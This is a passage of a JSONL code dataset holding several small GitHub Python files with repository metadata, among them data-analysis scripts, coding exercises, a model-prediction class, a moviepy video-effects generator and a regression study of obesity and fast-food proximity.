float(row[j+1])\n\t\texcept:\n\t\t\tprint(row)\n\t\t\tfor j in range(1,13):\n\t\t\t\tproperties.append(row[j])\n\nprint(properties)\nprint(n)\nfor i in range(n):\n\tfor j in range(12):\n\t\tgenre_mean[i][j] /= genre_num[i]\n\nprint(genre_mean)\n\nwith open('mean_for_each_genre.csv', 'w', newline=\"\") as file:\n\twriter= csv.writer(file)\n\twriter.writerow(properties)\n\tfor i in range(n):\n\t\tnewRow = genre_mean[i][0:12]\n\t\tnewRow.insert(0, id2genre[i])\n\t\t# print(newRow)\n\t\twriter.writerow(newRow)\n","repo_name":"RayLee234/MCM-Team-2104738","sub_path":"generate_mean_for_each_genre.py","file_name":"generate_mean_for_each_genre.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"41097538229","text":"from setuptools import setup, find_packages\r\nimport os\r\n\r\nhere = os.path.abspath(os.path.dirname(__file__))\r\n\r\nVERSION = \"0.0.1\"\r\nDESCRIPTION = \"\"\"\r\nSimple Python Package\r\n\"\"\"\r\n\r\nsetup(\r\n    name=\"selenium_sequence\",\r\n    version=VERSION,\r\n    author=\"TZ\",\r\n    author_email=\"zaptom.pro@gmail.com\",\r\n    description=DESCRIPTION,\r\n    long_description_content_type=\"text/markdown\",\r\n    packages=find_packages(),\r\n    install_requires=[\r\n        \"selenium\",\r\n        \"flask\",\r\n        \"colorama\",\r\n        \"requests\",\r\n        # \"indeed @ git+https://github.com/Tomizap/indeed.git#egg=indeed\",\r\n        # \"linkedin @ git+https://github.com/Tomizap/linkedin.git#egg=linkedin\"\r\n        \"tzmongo @ git+https://github.com/Tomizap/tzmongo.git#egg=tzmongo\",\r\n        \"selenium_driver @ git+https://github.com/Tomizap/selenium_driver.git#egg=selenium_driver\"],\r\n    keywords=[],\r\n    classifiers=[]\r\n)","repo_name":"Tomizap/selenium_sequence","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28280301635","text":"import json\n\n# 아래 코드 수정 금지\nmovie_json = open(\"data/movie.json\", encoding=\"UTF8\")\nmovie = json.load(movie_json)\n\ngenres_json = open(\"data/genres.json\", encoding=\"UTF8\")\ngenres_list = json.load(genres_json)\n\n# 이하 문제 해결을 위한 코드 작성 \n\n# movie는 dict, genres_list는 list 유형\n\nthis_movie_ids = movie['genre_ids']\nresult = []\n\nfor i in genres_list:\n    if this_movie_ids[1] == i['id']:\n        result.append(i['name'])\n    if this_movie_ids[0] == i['id']:\n        result.append(i['name'])\n\nprint(result)    \n\n# genre_list = []\n# for genre_id in this_movie_ids:\n    # for genre_dict in genre_list:\n        # if genre_id == genre_dict['id']:\n            # genre_list.append(genre_dict['name'])","repo_name":"hany0147/KDT","sub_path":"02_python/python_pjt/PJT-01/07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"18652597954","text":"#!/usr/bin/python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport sys\nimport random\nimport os\nimport subprocess\nfrom operator import itemgetter\nimport glob\n\ndef instantF(T,s,d,v,N):\n  ROUND=13\n  if 0 < s and s <= math.sqrt(3)*d/4:\n    de = 2*math.sqrt(d**2 - (2*s)**2)\n    v1 = math.floor(round(v*T/de,ROUND))\n    v2 = math.floor(round(v*T/de + 0.5,ROUND))\n  else:\n    v1 = math.floor(round(v*T/d,ROUND))\n    v2 = math.floor(round(v*T/d+0.5,ROUND))\n  f = (1./T)*(v1 + v2)\n  return f\n  \n\ndef plotInstantEquation(Tf,Ns,s,d,v,lbl,colour='brown'):\n  Ys = [instantF(Tf[i],s,d,v,Ns[i]) for i in range(len(Tf))]\n  plt.plot(Tf, Ys, label=lbl, color=colour,linestyle='--',alpha=0.8,marker='x')\n\n\ndef plotLimitEquation(Xf,s,d,v,lbl,lastStr,colour='magenta'):\n  if 0 < s and s <= math.sqrt(3)*d/4:\n    f = v/(d*math.sqrt(1-((2*s)/d)**2))\n  else:\n    f = 2*v/d\n  Ys = [f]*len(Xf)\n  plt.plot(Xf, Ys, label=lbl, color=colour)\n  vv =  -0.05 if lastStr == 's=0.45' else 0.02\n  plt.text(Xf[-1],Ys[-1]+vv,lastStr,horizontalalignment='right')\n\ndef funF(T,v,d,s):\n  return instantF(T,s,d,v,0)\n\n\ndef main():\n    startingRobot = [0,0]\n    i = 2\n    s = [0.3,0.45]\n    d = [1]*i\n    v = [1]*i\n    paths = [\"variousLogs0.3d1\",\"variousLogs0.45d1\"]\n    algorithmLimitLabels = ['Asymptotic']*i \n    algorithmInstantLabels = ['Instantaneous']*i \n    lastPointTextAnnotation = ['s=0.3','s=0.45'  ]\n    xAxisText = 'Time (s)'\n    outputLabel = \"Throughput (1/s)\"\n    Colour1 = ['#1f77b4']*i\n    Colour4 = ['brown']*i\n    \n    plt.rcParams.update({'font.size': 15})\n    \n    for a in range(len(paths)):\n      #Save all data from individual robots logs\n      robotFiles = glob.glob(paths[a]+\"/\"+\"/robot*\")\n      robotData = []\n      for f in robotFiles:\n        robotFile = open(f)\n        dataFileStr = robotFile.readlines();\n        data = []\n        for i in range(4):\n          data.append(int(dataFileStr[i])) \n        for i in range(2):\n          data.append(float(dataFileStr[4+i])) \n        robotData.append(data)\n      # Sort robot data by target arrival time\n      robotDataSorted = sorted(robotData, key= itemgetter(3))\n\n      st = startingRobot[a]\n      V = range(2,len(robotDataSorted)+1,5)\n      Ts = [(robotDataSorted[st+i-1][3] - robotDataSorted[st][3])/1e6 for i in V]\n      Ns = [i   for i in V]\n      Tp = [(Ns[i]-1.)/Ts[i] for i in range(len(Ts))]\n      \n      \n      plt.plot(Ts,Tp,label='Simulation',color='green',marker='.')\n      plotInstantEquation(Ts,Ns,s[a],d[a],v[a],algorithmInstantLabels[a],colour=Colour4[a])\n      plotLimitEquation(Ts,s[a],d[a],v[a],algorithmLimitLabels[a],lastPointTextAnnotation[a],colour=Colour1[a])\n    plt.legend(loc='center right');\n    plt.xlabel(xAxisText);\n    plt.ylabel(outputLabel);\n      \n    outFileName = \"\".join(filter(lambda i: i not in [\"/\",\";\",\"*\"], outputLabel))\n    plt.savefig(outFileName + \".pdf\",bbox_inches=\"tight\",pad_inches=0.01);\n    plt.clf()\n    \n     \n    \nmain();\n","repo_name":"yuri-tavares/swarm-strategies","sub_path":"compact lanes/graphicalAnalysisEachRobot.py","file_name":"graphicalAnalysisEachRobot.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12438816351","text":"# -*- coding = 'utf-8' -*-\n\"\"\"\n\n--------------------------------------------------------\n\nFile Name : evaluate\n\nDescription : 总的预测函数\n\nAuthor : leiliang\n\nDate : 2020/8/4 10:59 上午\n\n--------------------------------------------------------\n\n\"\"\"\nimport logging\nfrom base_algorithm import BaseAlgorithm\nfrom utils import transform_table_data_to_html, format_dataframe\n\nlog = logging.getLogger(__name__)\n\n\nclass predictModel(BaseAlgorithm):\n    def __init__(self):\n        BaseAlgorithm.__init__(self)\n        self.get_config()\n        if self.config[\"oneSample\"]:\n            self.table_data = None\n        else:\n            self.table_data = self.exec_sql(self.config['tableName'], self.config['X'], None)\n        self.model = self.load_model_by_database(self.config['algorithm'], self.config['model'])\n\n    def get_config(self):\n        '''\n            前端传过来的参数\n        {\n            \"algorithm\": \"\",\n            \"model\": \"\",\n            \"oneSample\": False,\n            \"table\": \"\",\n            \"X\": \"\",\n        }\n        :return:\n        '''\n        self.config = {}\n        try:\n            self.config['algorithm'] = self.web_data['algorithm']\n            self.config['model'] = self.web_data['model']\n            self.config['oneSample'] = self.web_data['oneSample']\n            self.config['tableName'] = self.web_data.get('tableName', None)\n            self.config['X'] = self.web_data.get('X')\n        except Exception as e:\n            log.info(e)\n            raise e\n\n    def model_predict(self):\n        try:\n            res = {}\n            if self.config['oneSample']:\n                if not self.config['X']:\n                    raise ValueError(\"feature must not be empty when one-sample\")\n                X = [[float(x) for x in self.config['X']]]\n                predict = self.model.predict(X)[0] if isinstance(self.model.predict(X)[0], str) else \"{:.0f}\".format(\n                    self.model.predict(X)[0])\n                res.update({\n                    \"data\": [[\",\".join([str(s) for s in self.config['X']]), predict]],\n                    \"title\": \"单样本预测结果\",\n                    \"col\": [\"样本特征\", \"模型预测结果\"],\n                })\n            else:\n                # 从数据库拿数据\n                if not self.config['tableName'] or self.config['tableName'] == \"\":\n                    raise ValueError(\"cannot find table data when predict many samples\")\n                data = self.table_data\n                log.info(\"输入数据大小:{}\".format(len(data)))\n                data = data.astype(float)\n                data[\"predict\"] = self.model.predict(data.values)\n                if data[\"predict\"].dtypes != \"object\":\n                    data = format_dataframe(data, {\"predict\": \".0f\"})\n                res.update(transform_table_data_to_html({\n                    \"data\": data.values.tolist(),\n                    \"title\": \"多样本预测结果\",\n                    \"col\": data.columns.tolist(),\n                    \"row\": data.index.tolist()\n                }))\n            response_data = {\"res\": res,\n                             \"code\": \"200\",\n                             \"msg\": \"ok!\"}\n            return response_data\n        except Exception as e:\n            # raise e\n            return {\"data\": \"\", \"code\": \"500\", \"msg\": \"{}\".format(e.args)}\n","repo_name":"qiaowenfanggithub/smartbi_check","sub_path":"algorithm/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13985464011","text":"# -*- coding: utf-8 -*-\n\"\"\"\nWrite a program (function!) that takes a list and returns a new list that contains all the elements of\n the first list minus all the duplicates.\n\nExtras:\n\nWrite two different functions to do this - one using a loop and constructing a list, and another using sets.\nGo back and do Exercise 5 using sets, and write the solution for that in a different function.\n\"\"\"\n\ndef removeDup1(list1):\n    newList = []\n    for x in list1:\n        if not x in newList:\n            newList.append(x)\n    return newList\n\ndef removeDup2(list1):\n    return set(list1)\n\na = [1,2,5,4,6,2,4,5,3,1,9,8,7,4,1]\n\nprint(removeDup1(a))\nprint(removeDup2(a))","repo_name":"vyasshivam/python-practice","sub_path":"ex14.py","file_name":"ex14.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71864468901","text":"# -*- coding: utf-8 -*-\n# @Author: Anderson\n# @Date:   2019-11-26 17:22:56\n# @Last Modified by:   ander\n# @Last Modified time: 2019-11-27 21:45:52\nfrom moviepy.editor import VideoFileClip, ColorClip, CompositeVideoClip, AudioFileClip\nimport moviepy.video.fx.all as vfx\nfrom moviepy.video.fx.mask_color import mask_color\nimport time\nimport json\n\n\ndef tiktok_effect(frame):\n\t# 单独抽取去掉红色通道的图像\n\tgb_channel_frame = frame.copy()\n\tgb_channel_frame[:, :, 0].fill(0)\n\n\t# 单独抽取红色通道图像\n\tr_channel_frame = frame.copy()\n\tr_channel_frame[:, :, 1].fill(0)\n\tr_channel_frame[:, :, 2].fill(0)\n\n\t# 错位合并图像，形成抖音效果\n\tresult = frame.copy()\n\tresult[:-5, :-5, :] = r_channel_frame[:-5, :-5, :] + gb_channel_frame[5:, 5:, :]\n\n\treturn result\n\n\ndef person_mask_effect(roi_clip, mask_clip, current_time, clip_start_time, clip_end_time):\n\tclip_duration = clip_end_time - clip_start_time\n\tred_clip = ColorClip(roi_clip.size, (255, 0, 0), duration=clip_duration)\n\tblue_clip = ColorClip(roi_clip.size, (0, 0, 255), duration=clip_duration)\n\n\troi_clip = roi_clip.subclip(clip_start_time, clip_end_time)\n\tmask_clip = mask_clip.subclip(clip_start_time, clip_end_time)\n\n\tperson_clip_height = int(HEIGHT * 0.9)\n\n\tcenter_person_clip = (\n\t\troi_clip.fl_image(tiktok_effect)\n\t\t.set_mask(mask_clip)\n\t\t.resize(height=person_clip_height)\n\t\t.set_pos((\"center\", \"center\"))\n\t\t.set_start(current_time)\n\t)\n\tleft_person_clip = (\n\t\tred_clip.set_mask(mask_clip)\n\t\t.resize(height=person_clip_height)\n\t\t.set_opacity(0.5)\n\t\t.set_start(current_time)\n\t)\n\tright_person_clip = (\n\t\tblue_clip.set_mask(mask_clip)\n\t\t.resize(height=person_clip_height)\n\t\t.set_opacity(0.5)\n\t\t.set_start(current_time)\n\t)\n\n\tleft_person_clip_x = (WIDTH / 2 - left_person_clip.w / 2) - int(\n\t\tleft_person_clip.w * 0.3\n\t)\n\tright_person_clip_x = (WIDTH / 2 - left_person_clip.w / 2) + int(\n\t\tleft_person_clip.w * 0.3\n\t)\n\tperson_clip_y = HEIGHT / 2 - left_person_clip.h / 2\n\n\tleft_person_clip = left_person_clip.set_pos((left_person_clip_x, person_clip_y))\n\tright_person_clip = right_person_clip.set_pos((right_person_clip_x, person_clip_y))\n\n\treturn [left_person_clip, right_person_clip, center_person_clip]\n\n\ndef pure_color_person_mask_effect(roi_clip, mask_clip, current_time, clip_start_time, clip_end_time):\n\tclip_duration = clip_end_time - clip_start_time\n\twhite_clip = ColorClip(SIZE, (255, 255, 255), duration=clip_duration)\n\n\tmask_clip = mask_clip.subclip(clip_start_time, clip_end_time)\n\n\tperson_clip_height = int(HEIGHT * 0.9)\n\n\tcenter_person_clip = (\n\t\twhite_clip\n\t\t.set_mask(mask_clip.resize(height=person_clip_height))\n\t\t.set_pos((\"center\", \"center\"))\n\t\t.set_start(current_time)\n\t)\n\n\tbackground_color_clip = ColorClip(\n\t\tSIZE, (80, 40, 255), duration=clip_duration\n\t).set_start(current_time)\n\n\treturn [\n\t\tCompositeVideoClip([background_color_clip, center_person_clip]).fl_image(\n\t\t\ttiktok_effect\n\t\t)\n\t]\n\n\nwith open('config.json', 'r', encoding='utf-8') as f:\n\tCONFIGS = json.load(f)\n\tWIDTH, HEIGHT = CONFIGS['width'], CONFIGS['height']\n\tSIZE = (WIDTH, HEIGHT)\n\tPURE_COLOR_EFFECT_TIMES = CONFIGS['special times']\n\tPERSON_CLIPS_FILENAMES = CONFIGS['person clip files']\n\tBACKGROUND_MUSIC = CONFIGS['bgm']\n\tBACKGROUND_VIDEO = CONFIGS['background video']\n\nbackground_music = AudioFileClip(BACKGROUND_MUSIC)\nfinal_clip_duration = background_music.duration\n\ncomposite_clips = []\npure_color_effect_clips = []\ncurrent_time = 0\n\nfor person_clip_filename in PERSON_CLIPS_FILENAMES:\n\troi_clip_filename = \".\".join(person_clip_filename.split(\".\")[:-1]) + \"_roi.avi\"\n\tmask_clip_filename = \".\".join(person_clip_filename.split(\".\")[:-1]) + \"_mask.avi\"\n\n\troi_clip = VideoFileClip(roi_clip_filename).without_audio()\n\tmask_clip = (\n\t\tmask_color(VideoFileClip(mask_clip_filename), color=[255, 255, 255])\n\t\t.fx(vfx.loop, duration=roi_clip.duration)\n\t\t.to_mask()\n\t)\n\n\tclip_duration = roi_clip.duration\n\n\tperson_mask_effect_clips = person_mask_effect(roi_clip, mask_clip, current_time, 0, clip_duration)\n\tcomposite_clips.extend(person_mask_effect_clips)\n\tpure_color_person_mask_effect_clips = pure_color_person_mask_effect(\n\t\troi_clip, mask_clip, current_time, 0, clip_duration\n\t)\n\tpure_color_effect_clips.extend(pure_color_person_mask_effect_clips)\n\tcurrent_time += clip_duration\n\npure_color_effect_clip = CompositeVideoClip(pure_color_effect_clips).fx(vfx.loop, duration=final_clip_duration)\npure_color_effect_subclips = []\nfor start_time, end_time in PURE_COLOR_EFFECT_TIMES:\n\tif start_time < final_clip_duration:\n\t\tsubclip = pure_color_effect_clip.subclip(start_time, end_time).set_start(start_time)\n\t\tpure_color_effect_subclips.append(subclip)\n\telse:\n\t\tbreak\npure_color_effect_subclip = CompositeVideoClip(pure_color_effect_subclips)\n\nbackground_clip = (\n\tVideoFileClip(BACKGROUND_VIDEO)\n\t.without_audio()\n\t.resize(SIZE)\n\t.fx(vfx.loop, duration=final_clip_duration)\n)\n\ncomposite_clips.insert(0, background_clip)\n\nloop_clip = CompositeVideoClip(composite_clips).set_duration(\n\tmin(current_time, final_clip_duration)\n)\nloop_clip_path = f'./Temp/{time.strftime(\"%Y-%m-%d_%H-%M-%S\", time.localtime())}.mp4'\nloop_clip.write_videofile(\n\tloop_clip_path,\n\tfps=30,\n\tcodec='mpeg4',\n\tbitrate=\"8000k\",\n\tthreads=4,\n)\n\nloop_clip = VideoFileClip(loop_clip_path).fx(vfx.loop, duration=final_clip_duration)\nfinal_clip = CompositeVideoClip([loop_clip, pure_color_effect_subclip])\nfinal_clip = final_clip.set_audio(background_music).set_duration(final_clip_duration)\nfinal_clip.write_videofile(\n\tf'./output/{time.strftime(\"%Y-%m-%d_%H-%M-%S\", time.localtime())}.mp4',\n\tfps=30,\n\tcodec='mpeg4',\n\tbitrate=\"8000k\",\n\taudio_codec=\"libmp3lame\",\n\tthreads=4,\n)\n","repo_name":"AndersonBY/AIGuiChu","sub_path":"generate_video.py","file_name":"generate_video.py","file_ext":"py","file_size_in_byte":5606,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"35"}
{"seq_id":"14734586089","text":"import time\n# applying multithread\nimport threading\n\ndef cal_sqr(n):\n    print(\"Calculated Square Number : \")\n    for i in n:\n        time.sleep(0.5)\n        print('SQR : ', i*i)\n\n\ndef cal_cube(n):\n    print(\"Calculated Cube of Numbers : \")\n    for i in n:\n        time.sleep(0.5)\n        print(\"CUBE : \",i*i*i)\n\narr = [1,2,3,4,5]\n\nt = time.time()\nt1 = threading.Thread(target=cal_sqr,args=(arr,))\nt2 = threading.Thread(target=cal_cube,args=(arr,))\n\nt1.start()\nt2.start()\n\nt1.join()\nt2.join()\n\n\nprint(\"Done In : \",time.time() - t)\nprint(\"Yah ! .... I am done my all work now .\")","repo_name":"sajjad0057/Practice-Python","sub_path":"Multithreading/Multithreading_1.py","file_name":"Multithreading_1.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72920025382","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport elecLoader as eloader\nimport random\n\n\n# no correlation in fitter...\n\ncerpe = np.arange(0, 1500, 10)\ndnum = len(cerpe)\n\n\ndef cerFunc(x, a, b, c):\n    s2 = a + b*x + c*x**2\n    if s2<0:\n        return 0\n    else:\n        return np.sqrt(s2)\n\ndef loadCov(filename, num):\n    row, col = 0, 0\n    cov_mat = np.ones((num, num))\n    with open(filename) as f:\n        for lines in f.readlines():\n            line = lines.strip(\"\\n\")\n            data = line.split(\" \")\n            col = 0\n            for i in data:\n               cov_mat[row, col] = float(i) \n               cov_mat[col, row] = float(i)\n               col+=1\n            row += 1\n    \n\n    return cov_mat\n\n\nfrom scipy.linalg import eigh, cholesky\nfrom scipy.stats import norm\n\n\ndef sample_corelation(filename, num, sampleSize):\n    method = 'eigenvectors'\n    \n    num_sample = sampleSize\n\n    cov = loadCov(filename, num)\n    print(cov)\n    \n    x = norm.rvs(size=(num, num_sample))\n\n    if method == 'cholesky':\n        # Compute the Cholesky decomposition.\n        c = cholesky(cov, lower=True)\n    else:\n        # Compute the eigenvalues and eigenvectors.\n        evals, evecs = eigh(cov)\n        # Construct c, so c*c^T = r.\n        c = np.dot(evecs, np.diag(np.sqrt(evals)))\n\n    y = np.dot(c, x)\n\n    return y    \n\n\ndef cerpe_sim(E, kC):\n    return kC * eloader.getCerNPE(E)\n\n\ndef sctpe_sim(E, kA, kB, scale):\n    return kA * eloader.getQPE(E, kB, scale)\n\n\n\ndef main():\n    sampleSize = 1000\n    sigma = sample_corelation(\"../rescov_gam+B12_kSimulationSct_kSimulationCer_kSeparate_fixeds0.txt\", 3, sampleSize)\n\n    c0, c1, c2 = -123.213, 3.39232, 2.53173e-3\n\n    ymin, ymax = [], []\n    for i in range(dnum):\n        ymin.append(1000000)\n        ymax.append(-100)\n\n    for i in range(sampleSize):\n\n        m_c0 = c0 + random.gauss(0, sigma[0, i])\n        m_c1 = c1 + random.gauss(0, sigma[1, i])\n        m_c2 = c2 + random.gauss(0, sigma[2, i])\n\n\n        cersigma = []\n\n        for i in cerpe:\n\n            cersigma2 = cerFunc(i, m_c0, m_c1, m_c2)**2\n            cersigma.append(np.sqrt(cersigma2))\n\n        \n        for n in range(dnum):\n            if cersigma[n] < ymin[n]:\n                ymin[n] = cersigma[n]\n            if cersigma[n] > ymax[n]:\n                ymax[n] = cersigma[n]\n    \n    ymin = np.array(ymin)\n    ymax = np.array(ymax)\n\n    best, nominal = [], []\n    bc0, bc1, bc2 = -158.41, 4.333, 0.00181082\n    for i in cerpe:\n        cersigma2 = cerFunc(i, c0, c1, c2)**2\n        best.append(np.sqrt(cersigma2)) \n        cersigma2 = cerFunc(i, bc0, bc1, bc2)**2\n        nominal.append( np.sqrt(cersigma2))\n\n    best = np.array(best)\n\n\n    plt.fill_between(cerpe, ymin, ymax, color=\"lightskyblue\", label=r\"$1 \\sigma$ zone\")\n    plt.plot(cerpe, nominal, \"--\", color=\"darkviolet\", label=\"nominal\")\n    plt.plot(cerpe, best, \"-\", color=\"darkorange\",  label=\"best fit\")\n\n    plt.legend(loc=\"upper left\")\n\n    plt.grid(True)\n    plt.title(\"Electron NPE Sigma\")\n    plt.xlabel(r\"cerenkov NPE\")\n    plt.ylabel(r\"$\\sigma_{NPE}$\")\n\n    plt.show()\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"YMTheory/energyModel_Fit","sub_path":"new_fitter/analysis/sampling_cerres.py","file_name":"sampling_cerres.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27344840686","text":"# HACKERRANK\n# https://www.hackerrank.com/challenges/jumping-on-the-clouds/problem\n\nimport sys\n\n\nn = int(input().strip())\nc = [int(c_temp) for c_temp in input().strip().split(' ')]\n\nposition = 0\ncount = 0\nwhile position != (n-1):\n    if position!= (n-2) and c[position + 2] == 0:\n        count += 1\n        position += 2\n    else:\n        count += 1\n        position += 1\nprint(count)\n","repo_name":"sharadbhat/Competitive-Coding","sub_path":"HackerRank/Algorithms/Jumping_On_The_Clouds.py","file_name":"Jumping_On_The_Clouds.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42434293497","text":"import numpy as np\nimport pandas as pd\nimport random\nimport csv\nfrom sklearn import linear_model\nfrom sklearn.metrics import r2_score\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom scipy import stats\nimport matplotlib.pyplot as plt\n\ndef split_data(data, prob):\n\t\"\"\"Split data into fractions [prob, 1 - prob]\"\"\"\n\tresults = [], []\n\tfor row in data:\n\t\tresults[0 if random.random() < prob else 1].append(row)\n\treturn results\n\ndef train_test_split(x, y, test_pct):\n\t\"\"\"Split the features X and the labels y into x_train, x_test and y_train, y_test\n\tdesignated by test_pct. A common convention in data science is to do a 80% training\n\tdata 20% test data split\"\"\"\n\tdata = zip(x, y)\t\t\t\t\t\t\t\t# pair corresponding values\n\ttrain, test = split_data(data, 1 - test_pct)    # split the data set of pairs\n\tx_train, y_train = zip(*train)\t\t\t\t\t# magical un-zip trick\n\tx_test, y_test = zip(*test)\n\treturn x_train, x_test, y_train, y_test\n\nfeatures = ['unemployed', 'income', 'obesity', 'diabetes', 'one_km_sm', 'three_km_sm', 'one_km_ff', 'three_km_ff']\nlabel = 'zip_code'\n\ndef MultipleLinearRegression(X, y, linear_model):\n\n\tlm = linear_model\n\t### DO NOT TOUCH THIS PORTION OF THE CODE###\n\tparams = np.append(lm.intercept_,lm.coef_)\n\tpredictions = lm.predict(X)\n\n\tnewX = np.append(np.ones((len(X),1)), X, axis=1)\n\tMSE = (sum((y-predictions)**2))/(len(newX)-len(newX[0]))\n\n\tvar_b = MSE*(np.linalg.inv(np.dot(newX.T,newX)).diagonal())\n\tsd_b = np.sqrt(var_b)\n\tts_b = params/ sd_b\n\n\tp_values =[2*(1-stats.t.cdf(np.abs(i),(len(newX)-1))) for i in ts_b]\n\n\tmyDF3 = pd.DataFrame()\n\tmyDF3[\"Coefficients\"],myDF3[\"Standard Errors\"],myDF3[\"t values\"],myDF3[\"Probabilites\"] = [params,sd_b,ts_b,p_values]\n\tprint(myDF3)\n\n\nif __name__=='__main__':\n\t# Do not change this seed. It guarantees that all students perform the same train and test split\n\trandom.seed(1)\n\t# Setting p to 0.2 allows for a 80% training and 20% test split\n\tp = 0.2\n\tX = []\n\ty = []\n\t#############################################\n\t# TODO: open csv and read data into X and y #\n\t#############################################\n\tdef load_file(file_path):\n\t\tX = []\n\t\ty = []\n\t\twith open(file_path, 'r', encoding='latin1') as file_reader:\n\t\t\treader = csv.reader(file_reader, delimiter=',', quotechar='\"')\n\t\t\tnext(reader)\n\t\t\tfor row in reader:\n\t\t\t\tif row == []:\n\t\t\t\t\tcontinue\n\t\t\t\texplanatory_var = []\n\n\t\t\t\t##Obesity, 3km FF\n\t\t\t\texplanatory_var.append(float(row[9]))\n\t\t\t\tcnt = float(row[3])\n\n\t\t\t\t# explanatory_var.append(float(row[7]))\n\t\t\t\t# cnt = float(row[3])\n\n\n\t\t\t\t# ### Obesity, 1km, 1km\n\t\t\t\t# explanatory_var.append(float(row[6]))\n\t\t\t\t# explanatory_var.append(float(row[8]))\n\t\t\t\t# cnt = float(row[3])\n\n\t\t\t\t### Obesity, 3km, 3km\n\t\t\t\t# explanatory_var.append(float(row[7]))\n\t\t\t\t# explanatory_var.append(float(row[9]))\n\t\t\t\t# cnt = float(row[3])\n\n\t\t\t\t#Diabetes, 1km SM\n\t\t\t\t# explanatory_var.append(float(row[6]))\n\t\t\t\t# cnt = float(row[4])\n\n\t\t\t\t# ### Diabetes, 1km, 1km\n\t\t\t\t# explanatory_var.append(float(row[6]))\n\t\t\t\t# explanatory_var.append(float(row[8]))\n\t\t\t\t# cnt = float(row[4])\n\n\t\t\t\t# ### Diabetes, 3km, 3km\n\t\t\t\t# explanatory_var.append(float(row[6]))\n\n\n\t\t\t\t# explanatory_var.append(float(row[7]))\n\t\t\t\t# cnt = float(row[4])\n\n\n\t\t\t\t# ### FF, Unemployment, Income\n\t\t\t\t# explanatory_var.append(float(row[1]))\n\n\n\n\t\t\t\t# explanatory_var.append(float(row[2]))\n\t\t\t\t# explanatory_var.append(float(row[9]))\n\t\t\t\t# cnt = float(row[3])\n\n\t\t\t\t# ### SM, Unemployment, Income\n\t\t\t\t# explanatory_var.append(float(row[1]))\n\t\t\t\t# # explanatory_var.append(float(row[2]))\n\t\t\t\t# cnt = float(row[6])\n\t\t\t\t\n\t\t\t\t# explanatory_var = explanatory_var[explanatory_var != 0]\n\t\t\t\t# cnt = cnt[cnt != 0]\n\n\t\t\t\tX.append(explanatory_var)\n\t\t\t\ty.append(cnt)\n\t\t\n\t\t#X = X[X!=0]\n\t\t#y = y[y!=0]\n\t\treturn np.array(X, dtype='float64'), np.array(y, dtype='float64')\n\n\t#X, y = load_file(\"/course/cs1951a/pub/stats/data/bike_sharing.csv\")\n\tX, y = load_file(\"/Users/shehryarhasan/Desktop/out.csv\")\n\n\t##################################################################################\n\t# TODO: use train test split to split data into x_train, x_test, y_train, y_test #\n\t#################################################################################\n\tx_train, x_test, y_train, y_test = train_test_split(X,y, p)\n\tx_train = np.array(x_train)\n\tx_test = np.array(x_test)\n\ty_train = np.array(y_train)\n\ty_test = np.array(y_test)\n\n\t# x_train = x_train[x_train != 0]\n\t# y_train = y_train[y_train != 0]\n\t# x_train = x_train[_train != 0]\n\t# x_train = x_train[x_train != 0]\n\n\t##################################################################################\n\t# TODO: Use Sci-Kit Learn to create the Linear Model and Output R-squared\n\t#################################################################################\n\tlinear_model = LinearRegression().fit(x_train, y_train)\n\ttr_preds = linear_model.predict(x_train)\n\tpreds = linear_model.predict(x_test)\n\tr2 = r2_score(y_train, tr_preds)\n\tmse_train = mean_squared_error(y_train, tr_preds)\n\tmse_test = mean_squared_error(y_test, preds)\n\tprint(\"Training R-squared:\" + str(r2))\n\tprint(\"Training MSE:\" + str(mse_train))\n\tprint(\"Testing MSE:\" + str(mse_test))\n\tplt.scatter(x_train, y_train)\n\tplt.plot(x_train, linear_model.predict(x_train),color='k')\n\tplt.ylim(-2)\n\tplt.title(\"Obesity vs Fast Foods\")\n\tplt.legend(['P = 0.087691'], loc='upper right')\n\tplt.xlabel('Number of Fast Food Restaurants in 3KM')\n\tplt.ylim(22)\n\tplt.ylabel('Obesity rate')\n\tplt.show()\n\t\n\tMultipleLinearRegression(x_train, y_train, linear_model)\n","repo_name":"madbeck/data-science-term-project","sub_path":"linear_regressions.py","file_name":"linear_regressions.py","file_ext":"py","file_size_in_byte":5486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
